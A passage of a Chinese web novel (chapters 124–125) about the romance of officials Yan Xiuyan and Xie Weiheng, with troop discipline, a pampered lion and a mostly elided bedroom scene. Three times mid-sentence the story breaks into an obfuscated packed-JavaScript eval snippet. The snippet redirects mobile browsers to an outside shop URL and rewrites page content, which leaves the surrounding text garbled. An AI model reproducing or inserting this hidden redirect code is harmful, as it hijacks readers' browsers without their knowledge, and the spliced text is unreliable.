“噔噔噔”往后踉跄了五六步,才勉强稳住身形,胸口一阵气血翻涌,脸色瞬间白了几分。 “不好意思,我这小身板,倒是让你招架不住了,是我的错。” 燕修延依旧站在原地,纹丝不动,神色轻松得仿佛只是随手挥了挥衣袖,看着狼狈的铁牛。 他扫了一眼周围围观的、面露怯色的晋王私兵,淡淡开口,“多叫上几个人吧,你一个人,不够看。” 这一手干净利落的较量,让原本还心存不服的私兵们纷纷犹豫起来,你看我我看你,没人敢轻易上前。 韦宸在旁看得畅快,直接沉声点名,声音洪亮,传遍整个营地:“铁二、铁三、铁四、铁五!出列!平日里跟着铁牛叫得最欢,口口声声说什么兄弟共同进退,现在怎么都成了缩头瘪三?都说话啊!” 被点到名的四人脸色一阵红一阵白,磨磨蹭蹭不肯动。 燕修延转着长枪,好笑的问:“这五个是亲兄弟?” 禁军士兵直接将长枪塞进他们手里,半推半搡地把几人弄到了场中。 韦宸侧过头,对着燕修延低声解释:“他们都是铁牛山、铁家村、铁氏兄弟,铁牛是老大,底下还有一个弟弟一个妹妹,一家子都靠他们在军中讨生活。” 燕修延忍不住轻笑一声,吐出两个字:“真牛。” 他再次冲着铁牛抬了抬下巴,眼神带着挑衅,语气却平淡:“别怂,一起上。” 铁牛咬了咬牙,和身后四个兄弟飞快交换了一个眼色,他们五兄弟在老家时,常年一起打猎护村,练过一套合击的绞杀阵型,向来无往不利。 既然燕修延放话一挑五,正好让他尝尝这阵型的厉害! 铁牛当即怒吼一声:“列阵!” 五个高大的身影迅速分散移动,脚步错落,顷刻间便呈环形将燕修延紧紧围在中间,封死了燕修延所有退路。 阵形一成,铁一、铁三、铁五瞬间沉腰俯身,枪尖朝下,携着风声从三个不同方向,直刺燕修延的双腿膝盖。 铁二、铁四则纵身跃起,长枪横扫,专攻他的脖颈与胸口,上下夹击,招式狠辣,显然是想速战速决。 燕修延嘴角微微上扬,眼底掠过一丝玩味,语气轻慢:“有点脑子,但还是不够看。” 他脚尖轻轻一点地面,身形骤然腾空而起,衣袂翻飞间,稳稳落在了下方三把刺来的长枪枪尖之上,脚下力道轻压,那三把长枪竟被他踩得微微弯曲,却丝毫伤不到他分毫。 与此同时,他手中长枪顺势横向一挥,又是一声“铛”的脆响。 铁二和铁四手中的长枪直接被硬生生挑飞,枪身在空中划过一道弧线,重重落在几米开外的地上。 两人掌心一空,瞬间慌了神,燕修延却借着脚下长枪的力道,腰身一拧,身子再次拔高数尺,一个利落的翻身,云白色的宽袖随风鼓动,宛若谪仙临尘,轻盈又灵巧地跳出了五人的包围圈,稳稳落地。 落地的瞬间。 燕修延眼神一凛,手中长枪骤然变招,不再是方才的闲适,枪身犹如一条出海蛟龙,裹挟着雷霆之势,以迅雷不及掩耳之势猛然刺出。 枪尖寒光闪烁,快如闪电,恰似毒蛇吐信,带着令人不寒而栗的凌厉,却并未伤人分毫。 “唰唰唰”几道轻响。 “哈哈哈哈哈哈!” 铁家五兄弟齐齐双腿一凉,低头一看,顿时羞得满脸通红。 原来燕修延出手极快,精准挑断了五人的腰带,宽松的军裤瞬间滑落到脚背上,露出里面的里裤,狼狈不堪。 观战的禁军和私兵们再也忍不住,笑声此起彼伏,有的拍着大腿,有的捂嘴偷笑,整个营地的气氛瞬间从剑拔弩张变得热闹非凡。 韦宸更是笑得前俯后仰,指着场中的铁家五兄弟,对着燕修延打趣道:“燕大人,你这手下留情的方式,还真是独一份的独特啊!” 众人的哄笑让铁家五兄弟恨不得找个地缝钻进去,手忙脚乱地提着裤子往上拽,脸色一阵红一阵白,又羞又恼,却半点脾气都没有。 铁牛动作稍快,勉强提好裤子,心里却明镜似的,韦宸这话里的意思再明白不过:若是燕修延刚才动了杀心,他们五兄弟此刻哪里还有提裤子的机会,怕是早已人头落地了。 他攥紧裤腰,看着眼前云淡风轻的燕修延,语气里没了此前的桀骜,多了几分真心的折服:“你确实是个有真本事的人,我不如你。” 燕修延随手将长枪递还给一旁的禁军,轻轻掸了掸袖子上沾到的些许灰尘,语气平淡地问道:“服气没?” 铁牛没有丝毫犹豫,重重点头:“服!” “服得倒是有点早了。” 燕修延皱了皱眉,脸上露出一丝淡淡的遗憾,他侧过身,伸手弹了弹身旁大白的耳朵:“我还想着你骨头再硬一点,再顽劣几分,就让你跟大白好好玩玩,让它给你松快松快筋骨呢。” 众人的目光齐刷刷落在大白身上,韦宸盯着大白圆滚滚的身子,视线在它的腰腹处来回打量:“燕大人,谢大人府上的伙食定然是极好的,把一头威风凛凛的狮子养得这般、这般圆润,都快看不出原先的模样了。” “长得胖归胖,牙齿和爪子可依旧尖利得很。” 燕修延拍了拍大白的脑袋,故意沉下声音,“来,给他们狠一个。” 大白似懂非懂,仰头发出一声低沉的吼叫,露出满嘴尖锐锋利的獠牙,随即抬起厚重的爪子,猛地往地上一拍,“砰”的一声,坚硬的泥土地上竟被拍出一个浅浅的爪印,力道惊人。 周围的士兵们见状,纷纷倒吸一口凉气,方才还觉得这狮子憨态可掬,此刻才想起它本是山林凶兽,心底顿时生出几分畏惧。 燕修延转头看向韦宸,问道:“你这营里有骨头吗?” 韦宸立刻吩咐手下,快步去伙夫那里取来一块硕大的猪骨,递到大白面前。 大白低头叼起猪骨,大口啃咬起来,“咔嚓咔嚓”的脆响声清晰传来,听得在场众人牙齿发酸,头皮阵阵发麻。 铁牛更是狠狠咽了咽口水,暗自后怕:若是真被这狮子咬上一口,哪里是松快筋骨,分明是直接丧命,死得不能再死。 燕修延看着众人惊惧的神色,语气温和,却带着不容置疑的威慑力:“行了,往后你们就在这里乖乖训练,安分守己,别再惹是生非。” “若是再敢闹一次事,就不是简单送去开荒种地了,而是直接送给大白当点心,开膛破肚,明白吗?” 大白已经将整块猪骨啃得干干净净,听见有人喊自己的名字,抬起沾满碎屑的脑袋,歪着圆滚滚的大头,看向围观的人群。 厚重的爪子在地上轻轻刨了刨,发出一声软糯的‘吼’仿佛在问:“可以吃了吗?” 燕修延伸手揉了揉它的脑袋:“现在不行,以后若是乖,或许一直有的吃。” 大白似乎听懂了,不满地龇了龇獠牙,发出小声的低吼。 “啪!” 燕修延毫不客气,直接一巴掌呼在它的脑袋上,语气带着几分威严,“你再龇一个试试?” 威风凛凛的大白瞬间蔫了下来,耷拉着脑袋,乖乖蹭了蹭燕修延的手心,半点脾气都没有。 铁二看在眼里,凑到铁牛身边,小声嘀咕:“大哥,咱们输得不冤,你看这百兽之王,在他面前都跟个小媳妇似的,谁敢不服啊。” 韦宸立刻挥手让人带着铁家五兄弟和其余私兵去训练,方才还散漫不服的众人,此刻个个规规矩矩,不敢有丝毫怠慢。 燕修延在旁边站着看了片刻,见秩序井然,才压低声音,对韦宸说道:“韦大人,往后若是再有人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646281|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服管教,不必多费口舌,直接拖走送去开荒,对外就说闹事者拉出去砍了,以儆效尤。” 韦宸目光落在胖得几乎挪不动步的大白身上,忍不住打趣:“不直接喂狮子了?” 燕修延弯腰,伸手轻轻揉了一把大白圆滚滚的肚皮,眼神里带着几分嫌弃,却又藏着些许纵容:“不了,往后我练武也得带上它了。” 他原本想着带狮子上战场,耍尽威风,可如今这模样,总不能带着一头猪去战场,给将士们加餐打秋风。 大白还不知道自己安逸享福的日子就此到头,依旧亲昵地用脑袋蹭着燕修延的腿,撒娇卖萌,全然不知往后要跟着日日练武,辛苦度日。 燕修延看了一会儿训练,觉得无趣,偏头看向韦宸,眼神里带着几分跃跃欲试:“闲着也是闲着,打一架?” 韦宸想都不想,果断摇头拒绝,脸上满是求生欲:“不打,绝对不打。” 他心里清楚,自己根本不是燕修延的对手。 若是输了,往后在军中还怎么树立威信,管教手下的兵? 燕修延也不勉强,淡淡点头:“行吧,那我就不打扰韦大人治军了,告辞。” 他用脚尖轻轻踢了踢大白的下巴,“走了,回家。” 韦宸连忙起身相送,一路将人送到军营门口。 燕修延待着大白慢悠悠回到府中,刚到家门口,便见宫里的宫人早已等候在门外。 见他回来,宫人连忙上前躬身行礼,态度恭敬:“燕大人,陛下在宫里传召,请您即刻进宫一趟。” 燕修延点点头,将大白交给谢伯,再三叮嘱:“谢伯,从今天开始,大白的吃食减半,不许多喂。” 谢伯看着眼前膘肥体壮、浑身圆滚滚的大白,一脸吃惊,连连摆手:“夫人,您可别开玩笑,大白这般瘦弱,要是吃食再减半,非得瘦脱相不可,那可怎么使得!” 燕修延一时语塞,低头看了看胖得连脖子都快看不见的大白,又看了看一脸认真的谢伯,满脸无奈。 宫人憋笑憋得难受:这狮子都胖成这样了,若是叫瘦弱,那天下就没有肥硕的活物了。 大白却像是听懂了谢伯的维护,围着他的腿不停蹭来蹭去:“吼吼(最爱谢伯了)~” 燕修延耐着性子又叮嘱了好几遍,谢伯才满脸不情愿地勉强答应。 只是这答应里的“少吃一点”,究竟是多少,怕是只有谢伯自己心里清楚。 燕修延跟着宫人一路进宫,径直来到御书房。他躬身行过君臣之礼。 虞睿祥没有多余的寒暄,直接抬手将桌上一封密封的折子递了过来,语气凝重:“修延,看看吧这是江南府太守刚差人快马送进宫的。” 太守派人前往柯缨县虎头山探查,上山之后,果然发现了有人长期生活的痕迹,帐篷、灶台、生活用品散落一地,看得出来,山上的人撤离得十分匆忙,像是提前得知了消息,仓促离去。 而最让人起疑的是,太守派出去的探查队伍还没来得及回宫复命,柯缨县县衙竟先一步上报了剿匪的捷报,称已剿灭虎头山山匪,抓获山匪二十一人,为首者名叫赵四,还解救了六名被山匪囚禁的百姓。 这六名百姓如今全都神志不清,问什么都答不上来,无法核实身份。 抓获的山匪也只对劫掠路人的罪名供认不讳,其余关于虎头山隐秘、是否与外界勾结等事,全都一问三不知,显然是有人提前授意,刻意隐瞒。 燕修延一字一句看完,将折子合上,递还给虞睿祥。 虞睿祥接过折子,放在桌上,神色愈发凝重,继续说道:“朕派人去云中城探查那批底也伽的下落,当初接收这批禁药的商铺早已易主,掌柜和伙计全都换了新人,毫不知情。朕又让人走访了附近的商铺和码头,根据目击者的描述,推断那批底也伽,应该是走水路运走了,具体去往何处,还在追查。” 得知底也伽流入境内后,虞睿祥便立刻下了严旨,勒令京城及各城城门守卫严加盘查,所有出城的人员、货物都要仔细检查,绝不放过任何可疑之人。 可时至今日,依旧没有发现任何可疑的人和物,那批禁药仿佛人间蒸发了一般,让人心焦。 124. 要喊燕修延姑…爷? 燕修延又重新垂眸扫了一眼刚才的奏折,墨色的眸子里掠过几分不满:“我当时送扭绑送去柯缨县的山匪足足有十人,如今倒好,他拿着这份实打实的功劳往自己脸上贴金,公然充数邀功,未免也太不把朝廷法度放在眼里了。” 虞睿祥抬眼瞥了他一下,这位燕正使肚子里憋着什么坏水,他一清二楚,无非是想借着这事讨些赏赐,又不肯明说,偏要绕个弯子抱怨。 虞睿祥懒得跟他绕圈子,指尖捏着狼毫笔顿了顿:“有人进献了两颗品相极佳的纯金核桃,雕工精巧,沉甸甸的很是趁手,朕赏你一颗。” 燕修延脸上的愤愤之色瞬间烟消云散,眉眼都舒展开来,当即躬身拱手:“谢陛下——那另一颗呢?” 虞睿祥被他这得寸进尺的模样逗得有些好气,放下手中的笔斜睨着他:“急什么,另一颗自然留着,等你下次立了功,再一并赏你。” 燕修延嘴角微微撇了一下,脸上露出几分勉强的神色,小声嘀咕了一句:“行吧,那臣就等着下次的赏赐。” 虞睿祥将他这小表情尽收眼底,两眼一瞪:“怎么,你还勉强上了?” 燕修延脑袋摇得像拨浪鼓,语气乖巧得很:“我哪敢。” 虞睿祥只是静静看着燕修延,目光沉沉,不发一言。 燕修延也抬着头,直直看向虞睿祥。 两人四目相对。 虞睿祥等了片刻,见燕修延咬死了不肯主动开口,无奈地摇了摇头,重新低下头,拿起奏折佯装批阅,笔尖在纸上缓缓移动。 燕修延见状,知道再耗下去也没意义,立马麻利地往后退了一步:“陛下,若是没什么别的事吩咐,我就先告退啦。” “站住,朕让你走了?” 虞睿祥“啪”的一声合上手中的奏折,他太了解燕修延的性子,若是自己不主动开口提柯缨县的事,这人绝对不会主动揽下,非得等着他把赏赐和差事一并说妥,才会心甘情愿接手。 虞睿祥指尖敲了敲御案,缓缓开口:“柯缨县的事情交给你来全权彻查,此事办得妥当,除了那纯金核桃,另有重赏,这下总行了吧?” 燕修延一听,眉眼弯弯,语气立马变得格外恳切顺从:“那当然行了,陛下吩咐的差事,我万死不辞。” 虞睿祥被他这前后判若两人的模样逗得轻笑出声,抬手虚点了点他:“少在这说漂亮话,哪里是朕的吩咐,分明是燕正使看在重重赏赐的份上,才勉强答应接手这差事的。” 燕修延立刻摆出一脸正色,连忙摆手:“陛下这话说得可就冤枉我了,我可是为了大虞江山……” “行了行了。” 虞睿祥摆摆手,懒得听他说这些空话、套话,还有那些表决心的虚话,这人说起大道理来一套一套的,不见兔子不撒鹰。 “时辰也不早了,今日要朕留你在宫中用膳么?” 燕修延抬眼瞥了一眼窗外的天色,他想了想还是摇了摇头:“多谢陛下美意,我就不打扰陛下歇息了,我告退啦。” 虞睿祥随意地抬了抬手,语气带着几分嗔怪的笑意:“行,滚吧。” 燕修延立马应下:“好嘞,我这就滚了。” 虞睿祥笑着摇了摇头,这泼皮倒是半点亏都不肯吃。 燕修延出了皇宫,慢悠悠地背着手,在街上随意闲逛。 一路走着,路过一家装潢气派的赌场时,原本已经径直走了过去,脚步却忽然顿住,又慢悠悠地退了回来,抬眼打量着这家赌场。 他向来手气背,赌运差得离谱,平日里也不爱来这种地方,之前也就陪着温瑞等人来过两次,眼睁睁看着他们一晚上输掉整整一个月的俸禄。 谢伟恒之前明明答应过他,要陪他来赌场试试手气,说要带他赢些银两,结果回京后一直忙于公务,这事便一拖再拖,始终没兑现。 “夫人!” 身后传来谢小厮的声音。 在别人看过来之前,燕修延一个闪身进了赌场。 回头一定要跟谢伟恒好好说说,告诉谢小厮在外面谨言慎行,别再这般瞎喊。 没一会儿,谢伟恒也快步走了进来,他身上还穿着一身素雅的官袍。 燕修延抱着胳膊,斜斜地靠在赌场门口的立柱上,眉眼微挑,斜睨着走进来的谢伟恒:“谢大人赌瘾挺大,连官袍都来不及换,就急匆匆往赌场里赶。” 谢伟恒温和一笑,缓步走到他面前:“方才在街上,远远瞧见你在前面走,本想叫住你,只是小厮嘴快,先一步喊出了声,扰了你,是我的不是。” 燕修延没好气道:“你记得让谢小厮在外别再这般乱喊。” 谢伟恒微微颔首,语气顺从:“好,我记下了,回去便叮嘱他。” 赌场里的管事也是个极有眼力见的人,常年在这市井间周旋,一眼就认出了谢伟恒和燕修延。 他当即满脸堆笑地快步迎了上来:“二位大人大驾光临,不知二位今儿想玩点什么?” 燕修延摆了摆手,丝毫没有要赌的意思:“不玩,我跟谢大人就是在街上玩躲猫猫,无意间走进来的,不必招呼。” 穿着官袍出现在赌场,若是真的坐下玩赌,传出去必定影响官声,下次上朝,定然会有御史抓住此事不放,大肆弹劾谢伟恒。 管事也是个聪明人,听出了他的言外之意,也不勉强,依旧笑容满面:“二位大人感情真是深厚,令人羡慕。” 谢伟恒对着管事微微颔首示意,算是打过招呼,随即不再多言,自然地伸出手,轻轻牵起燕修延的手走出去。 上了停在街边的马车,燕修延偏过头看向谢伟恒:“谢书令可算是忙完手头的公务了?这些日子见你连轴转,连片刻清闲都没有。” 谢伟恒眼中满是歉意:“之前离京期间,积累了太多公务,回京之后,我先紧着紧急的事务一一处理,耽搁了不少时间,日后定多多抽出时间陪你。” 燕修延故作不在意地扭过头,看向车窗外掠过的街景,嘴硬道:“谁要你陪了,我才不是这个意思。” 谢伟恒缓缓挪动身子,坐到燕修延身边,伸出手臂,轻轻搂住他的腰,将他往自己身边带了带:“让我抱一会,今日处理了太多公务,着实有些累了。” 燕修延依旧看着窗外,语气淡淡的,却带着几分纵容:“随便你。” 过了片刻,他感觉肩头一重,谢伟恒已经靠在他的肩膀上,呼吸平缓绵长,眉眼舒展,显然是累极了。 睡着了? 燕修延看着他熟睡的侧脸,指腹轻轻蹭了蹭谢伟恒环在自己腰上的手。 轻轻哼了一声:“说好的陪我去赌场赢别人的钱,这都拖了多久了,累成这副熊样子,就不知道把活分派下去么,真是死脑筋。” 马车缓缓停下,燕修延见谢伟恒依旧睡得沉,没有丝毫醒来的迹象,便小心翼翼地,一点点将他环在自己腰上的手拿开。 小心翼翼地将谢伟恒横抱起来,轻轻跳下了马车。 递过去谢小厮一个噤声的眼神。 谢小厮呆愣在原地悄悄拉过身边的谢伯,压低声音:“谢伯,难道说,咱们少爷才是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646282|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他要喊燕修延姑……爷? 谢伯脸上露出慈祥的笑意,轻声道:“唤夫人便可,不过是个称呼罢了,少爷和夫人感情深厚,从不会在意这些虚礼。” 回到了卧房。刚小心翼翼地将谢伟恒放在柔软的床榻上。 燕修延正准备直起身离开,整个人被一股力道拉进了一个温暖宽厚的怀里。 “谢书令,你也太懒了,明明早就醒了,偏偏不吱声,就想着赖着我。” 谢伟恒搂紧燕修延的腰,将脸埋在他的颈间:“正使的臂弯宽厚有力,靠在怀里安心又舒服,我只是想多靠一会,舍不得松开。” “哼,算你识货。” 燕修延扬了扬下巴,脸上露出几分得意,伸手拍了拍谢伟恒的肩膀,开口道,“我这样趴着不舒服,你先松开。” 谢伟恒乖乖松开手。 燕修延找了个舒服的姿势趴着:“看在你今日又忙又累的份上,勉强允许你抱一会,不过先说好,抱就抱,不许动手动脚的,安分一点。” 谢伟恒不禁莞尔,眼中满是宠溺,轻声问道:“燕大人就这么不放心我?” “哎,对喽,就是不放心你。” 燕修延话还没说完,感觉搭在自己腰上的手缓缓往下滑去:“你既然这么累了,就不能老实点?” 谢伟恒一只手轻轻扣住燕修延的后颈,脸上依旧挂着温和的笑意,语气却带着几分狡黠与宠溺:“既然燕大人这么不放心我,那我总得做些让你不放心的事,才对得起你这般信任啊。” 话音落下,他微微用力扣着燕修延的后颈,俯身吻住了他的唇瓣。 燕修延未说出口的话瞬间被堵在嘴里,心里暗自腹诽:谢伟恒这人真是没理也要搅出三分理,蛮横得很。 “不吃饭了?一会可就到饭点了。” 谢伟恒稍稍松开,额头抵着他的额头,声音沙哑:“我这不是,正准备用膳么。” 燕修延没好气道:“当心一会儿饿晕了,没人管你——你干嘛?” 谢伟恒扶着他的腰,让他缓缓坐起身,自己伸手从床头的暗格里拿出东西。 “夫君说的是,我今日确实有些疲惫,后续之事,有劳夫君了。” 燕修延:…… 他抬手一巴掌轻轻呼在谢伟恒的脸颊上,咬牙切齿道:“狗东西!就知道占我便宜!” 谢伟恒伸手紧紧握住他的手,放在唇边轻轻吻了吻,脸上笑意不减:“夫君打过了、也骂过了,气也该消了,总该给为夫一点甜头了吧?” 燕修延双手撑在谢伟恒的身体两侧,俯身瞪着他,眼神里满是嗔怒,咬牙切齿道:“甜头没有,给你腿打折还差不多!” 淡淡的栀子清香缓缓浮动在床榻之间。 谢伟恒的**在燕修延的**,tai起燕修延的**又an下去 燕修延眉头微微锁起,汗水自额头缓缓划过,顺着下颌线滴落,精准地落在谢伟恒的衣衫。 谢伟恒看着他紧蹙的眉头,眼中满是心疼,抬手轻轻揉了揉:“夫君可是累了?” 燕修延刚要张口说话,撑在床榻上的手指却不受控制地蜷起,他低头瞪着身下的谢伟恒:“谢伟恒,你干嘛呢!” 谢伟恒一脸无辜:“我只是想起来抱着夫君,这样更安稳些。” 燕修延无奈趴在他的肩头,张口轻轻叼住他肩头的软肉,像是在发泄一般,轻轻磨牙:“狗东西——!” …… (过程依旧缩减,读者自己幻想一下吧,希望这一章也能过审!!!) 125. 不想减肥的大白 饭菜热气腾腾地端上桌时,窗外月影已经斜移了小半。 燕修延说什么也不愿意在床上吃,眉头一皱:“我好着呢,又不是残废,好手好脚的在床上吃像什么样子。” 谢伟恒无奈又纵容,在凳面铺了层柔软厚实的锦垫,怕他坐得硌得慌,抬眼时唇角噙着温温柔柔的笑,眼底盛着暖意:“燕大人坐吧。” 燕修延坦然坐下,端起碗筷刚要动筷,忽然像是想起了什么,侧过头斜斜睨着谢伟恒:“我可跟你说啊,今晚就纯睡觉了,听明白吗?纯睡觉!不准动别的心思。” 谢伟恒挨着他坐下,拿起筷子细心地为他布菜,专拣些清淡软和、易消化的放进碗里,闻言低低一笑,声线醇厚撩人:“燕大人放心,必然不会叫你太过劳累。” 燕修延嘴唇动了动,终究没说出什么反驳的话,只闷闷地哼了一声,低头扒饭。 在床上的谢伟恒,说话半句不可信。 也就下了床,这人说话还算稍微守点分寸。 这一夜果然睡得安稳,两人早早便歇下,相拥而眠,一夜无扰。 第二天天刚蒙蒙亮,天边才泛起一层淡白的鱼肚色,燕修延便醒了。 他精神头足了不少,侧身看着身旁还在浅眠的谢伟恒,轻轻抬脚踢了踢对方的小腿:“起床。” 语气干脆,半点不含糊。 两人起身洗漱完毕,燕修延伸手一把薅醒了蜷在一旁呼呼大睡的大白。 大白本就睡得沉,被突然搅了好梦,顿时恼火地张开嘴,一声低沉又带着怒意的狮吼震得空气都微微发颤:“吼——” “啪!” 一声清脆又熟悉的巴掌轻轻拍在它的脑门上,力道不大,却足够让大白瞬间清醒。 它委屈地耷拉了下耳朵,转而用毛茸茸的大脑袋温顺地蹭着燕修延的裤腿,圆溜溜的眼睛眼巴巴望着他,明晃晃写着‘等着投喂’四个大字。 燕修延勾了勾手指,语气随意:“跟上,带你活动活动。” 一听没有吃的,大白不高兴地甩了甩脑袋,鬃毛微微炸开,却还是不情不愿地抬爪跟上。 谢府内有一片规整的演武场。 燕修延和谢伟恒合力将靠墙的兵器架挪到一旁,空出一大片场地。 燕修延抬手拍了拍大白结实的后背,吩咐道:“跑起来。” 说完,他扭头看向谢伟恒,眼底闪过一丝盘算:“你说要不要搭些架子?让它跳着练,也能练练身手。” 谢伟恒微微颔首,语气沉稳:“可以,一会我跟谢伯说,让人今日便备好木料。” 大白饿着肚子,步子慢吞吞的,走一步晃一下,满脸写着敷衍。 燕修延看不下去,轻轻踢了踢它圆滚滚的屁股:“赶紧的,跑够圈数,回来给你吃叫花鸡。” 一听见“叫花鸡”三个字,大白耳朵一竖,步子瞬间迈得大了些,不情不愿地小跑起来,鬃毛随着动作轻轻起伏。 燕修延这才满意,转身从兵器架上挑了一把寒光凛冽的长剑,握在手中掂了掂,看向谢伟恒:“咱俩也练练。” 谢伟恒亦随手取了一把长剑,剑身轻颤,姿态从容:“恭敬不如从命。” 论起剑法,燕修延向来稍逊谢伟恒一筹。 谢伟恒的剑法不仅凌厉,还格外赏心悦目,一招一式行云流水,如月下舞鹤,看得人移不开眼。 所以燕修延便总乐此不疲借着切磋之名偷师。 不为别的,就为日后有机会,能在人前装一回大的。 他之前穿宽袖与人,就是跟谢伟恒学来的模样。 曾经的他是个莽夫,现在的他是旁人眼中遗世独立的武林高手。 “叮——” 两柄长剑剑尖相撞,清脆的金铁之声在演武场上空荡开,火花微溅。 燕修延打得渐渐起了兴头,招式越发灵动,开口笑道:“谢书令的剑法似乎更加精进了。” 谢伟恒手腕一转,轻巧格挡,唇角含笑:“这要仰赖于燕大人时常与我切磋,陪我练手。” 燕修延足尖点地,后退一步,手腕轻抖,剑尖斜斜刺出,带起一缕微风:“这样说来,你还得付我些酬劳才是。” 谢伟恒抬剑稳稳挡住,目光深深望着他,语气轻佻又缱绻:“若燕大人不嫌弃,我可用身体来付。” 燕修延脸上笑意一收,表情瞬间冷淡下来,吐出一个字:“滚。” 谢伟恒勾着唇,还想再说些什么:“燕……” “吼吼吼!” 大白跑得上气不接下气,见两人只顾着有说有笑、旁若无人地调情,完全把它抛在脑后,顿时不满地往地上一躺,四脚朝天,大声吼吼叫唤,表示抗议。 “锵——” 谢伟恒手中长剑骤然脱手,精准扎在大白脖子旁边的泥土里,只差分毫便要伤到它,还顺势削掉了一小撮柔软的狮毛。 大白瞬间噤声,整个身子僵在原地,安静如鸡。 谢伟恒收回手,语气淡淡,听不出半分歉意:“抱歉,手滑。” 燕修延靠在谢伟恒肩上,笑得直不起腰,声音都带着抖:“谢书令,你这是欺负它不会说人话啊!” 大白委屈地“吼吼”两声,小幅度晃了晃脑袋。 谢伟恒弯腰将剑拔出来,又恢复了那副温和笑意:“它突然出声吓到我了,才不小心手滑的。” “谁信啊。” 燕修延好笑地摇了摇头,拿起剑鞘扔给谢伟恒,“算了,不练了,去吃东西吧,再练下去,大白该真被你吓出心病了。” 两人转身去用朝食,只留下大白孤零零站在原地,摸了摸自己被削掉毛的脖子,满心委屈。 等燕修延和谢伟恒吃上热乎朝食时,大白正和谢伯面面相觑。 大白清澈的大眼睛里,疑问几乎要溢出来,直勾勾盯着谢伯手中的食盆。 谢伯慈爱地摸了摸它的脑袋,轻声哄道:“少吃多餐啊。” 夫人吩咐过要给大白少喂点,可没说总量少喂点。 谢伯看着大白把头埋进汤盆里,吃得呼噜呼噜响,一脸满足,眼底更是温柔:“慢点吃,不急,等夫人出门了,我再给你加点。” “……谢伯,溺子如杀子啊。” 燕修延捧着一盘刚出锅的饺子,蹲在墙头上,把刚才那番对话听得一字不落,忍不住开口吐槽。 “我还想带它上战场呢,这么养下去,还怎么上阵。” 谢伯低头看着抱着汤盆舔得干干净净的大白,迟疑道:“上战场,大白?它还是个孩子啊。” 听见自己的名字,大白立刻仰起头,对着谢伯“吼”了一嗓子,像是在附和。 孩……子? 谁家孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646283|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一爪子能把厚木板拍碎、尾巴甩起来比铁还硬? 燕修延一时语塞,轻咳一声:“谢伯,大白是狮子。” 谢伯点头:“是,夫人。” 燕修延看了眼笑容和蔼、半点不听劝的谢伯,无奈继续道:“谢伯,你看它胖的都看不见腰了。如果把它放归山林,别的狮子都会嘲笑它的。” 谢伯又摸了摸大白的头,轻轻叹了口气:“是,夫人,我明白了。” 他身为谢家仆从,不好一而再再而□□驳主家。 可在心里,他是真觉得大白一点都不胖。 谢伟恒从拱门走进大白所在的小院,淡淡开口帮腔:“谢伯,人胖易生病,狮子也是一样。” 谢伯这才彻底松口:“少爷,我知道了。” 大白还浑然不觉,从今天起,它就要过上每天只能吃八分饱的苦日子了。 燕修延揣着饺子回房吃完。 一扭头,便看见谢伟恒换了一身月白束袖长袍,料子垂顺,纹样雅致。 他微微一怔:“你早上穿的不是这个。” 这衣服看着莫名眼熟。 燕修延低头扫了一眼自己身上的衣袍,花色纹样与谢伟恒身上那件一模一样,款式也完全相同,唯独颜色不同。 他穿的是沉稳大气的玄色。 “怪不得你早上非要拿这件给我穿,谢大人藏了不少心思的啊。” 谢伟恒上前一步,拉着燕修延走到铜镜前,从身后轻轻拥住他,下巴抵在他肩窝,镜中两人依偎而立,衣色相映,说不出的和谐。 他低低笑道:“我们这样很般配。” 燕修延抬手往后轻轻拍了下谢伟恒的脑袋,又微微偏过头在谢伟恒唇上亲了亲,动作自然又亲昵:“不这么穿也般配,谁敢说一句不配,我会让他知道花儿为什么这样红。” 谢伟恒蹭了蹭他的颈侧,声音软下来,带着几分撒娇的意味:“哥哥真好。” “这么大人了还撒娇。” 燕修延嘴上嫌弃,心里却甜丝丝的,受用得很,顺势问道,“准备去哪儿?” 谢伟恒牵起他的手,十指相扣,掌心温热:“我想去赌场,不知道燕大人是否愿意陪我一起?” “行,陪你去。” 燕修延目光落在谢伟恒腰上挂着的荷包上,伸手随手掂了掂,分量不轻,忍不住叮嘱,“别带太多钱,如果输多赢少,就尽早撤别恋战。” 谢伟恒低笑一声,眼底闪过一丝胸有成竹:“放心,我们不是去输钱的,是去把别人口袋里的钱,赚过来。” 燕修延老实交代:“我可先说好啊,我手气向来很差,别指望我能帮你赢。” 谢伟恒握紧他的手,语气笃定:“万事有我。” ———————————— 注:多数时候古代官员是不能赌博的,咱也不是古代的人,咱也不知道暗地里玩不玩,但咱这是架空的所以可以赌(俺是作者俺说了算),耶耶耶~ 1.大白:吼吼吼啊吼吼吼啊!!!(不想减肥,不想锻炼,人家只想当一只懒猫猫)! 